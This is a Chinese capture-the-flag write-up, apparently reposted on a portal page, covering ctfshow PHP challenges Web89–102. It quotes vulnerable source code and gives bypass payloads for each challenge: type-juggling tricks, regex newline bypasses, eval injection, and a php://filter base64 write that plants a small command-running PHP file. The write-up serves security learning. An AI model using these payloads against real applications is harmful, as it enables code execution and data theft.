在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } num数组绕过 ?num[]=0
Web90 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
base为0,在传参时添加0x绕过 ?num=0x117c
Web91 show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; } 字符 ^ 和 $ 同时使用时,表示精确匹配 /i匹配大小写,/m匹配换行,一般不加/m是不匹配换行以后的左右两端的内容 由于匹配是要以php开头,我们可以在php之前加上换行绕过 ?cmd=%0aphp
Web92-95 解法相似 1.利用90题中intval的特性使用不同进制绕过 2.多了一句判断 if(!strpos($num, "0")){ die("no no no!!!"); } 看似没法继续用八进制绕过,其实使用非数字符号可以绕过,让查找返回false <?php $s=' saber'; if(!strpos($s, "s")){ echo("no!"); } else echo("yes!") ?> payload举例: ?num=%20010574
Web96 if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } 没想到啥,看payload是加./绕过的,读取当前目录下
Web97 include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } 经典的md5碰撞,参考我的另一篇博客:https://www.cnblogs.com/echoDetected/p/12309225.html 但这里没法实现,原因不明 拿数组可以绕过a[]=1&b[]=2
Web98 include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 参考了https://www.cnblogs.com/NPFS/p/13798533.html html的三元运算符 $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 就是说GET要传参,但不能传flag,要拿POST的HTTP_FLAG传flag
Web99 highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } 首先是定义一个数组,然后向数组里面插入随机数,当GET传参的内容符合数组里随机数时,向传参名字的文件里写入POST的content内容 不是很懂怎么解法,看了hint //in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换 就是说in_array()的type没有设置为true,则不存在的值会不检测,自动转换
Web100 highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ctfshow类开辟空间,提示我们flag在ctfshow类里面 看了代码有迷惑我们的$v2('ctfshow')$v3,其中v2肯定是命令,v3传分号 v0是三个值相与,v2和v3不传数字和v1数字相与就为1 payload: ?v1=1&v2=var_dump($ctfshow)&v3=; 或者v3直接用内联注释注释掉 ?v1=1&v2=var_dump($ctfshow)/*&v3=*/; 到这一步看不懂编码问题,问了出题人才知道,替换0x2d(十六进制ASCII的‘-’符号)
Web101 include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } } 过滤了很多符号,不能用var_dump输出信息 看了hint考的是类反射 PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。 $class = new ReflectionClass('Person'); // 建立 Person这个类的反射类 $instance = $class->newInstanceArgs($args); // 相当于实例化Person 类 构造语句导出类信息 ?v1=1&v2=echo new Reflectionclass&v3=;
Web102 highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); } substr截取字符串 call_user_func等于调用方法或变量 hint: GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin #访问2.php后查看源代码获得flag file_put_contents($v3,$str); 上面语句中,v3是我们可以控制的协议流 用base64解码写入文件,在文件包含遇到过 参考:https://www.cnblogs.com/echoDetected/p/13976405.html
v2传的值,通过解码(4字节一组),能绕过substr的截断 再由v1传的hex2bin函数进行转换,存入2.php 可见这里绕过了substr PD89YGNhdCAqYDs 还有个问题是v4 测试中如果是字符串,is_numeric是不返回值或者返回false,不会返回任何数字的,所以只要v2是数字,v4与运算以后就是1 |
2022-07-29
2022-08-30
2022-08-17
2022-11-06
2022-08-18
请发表评论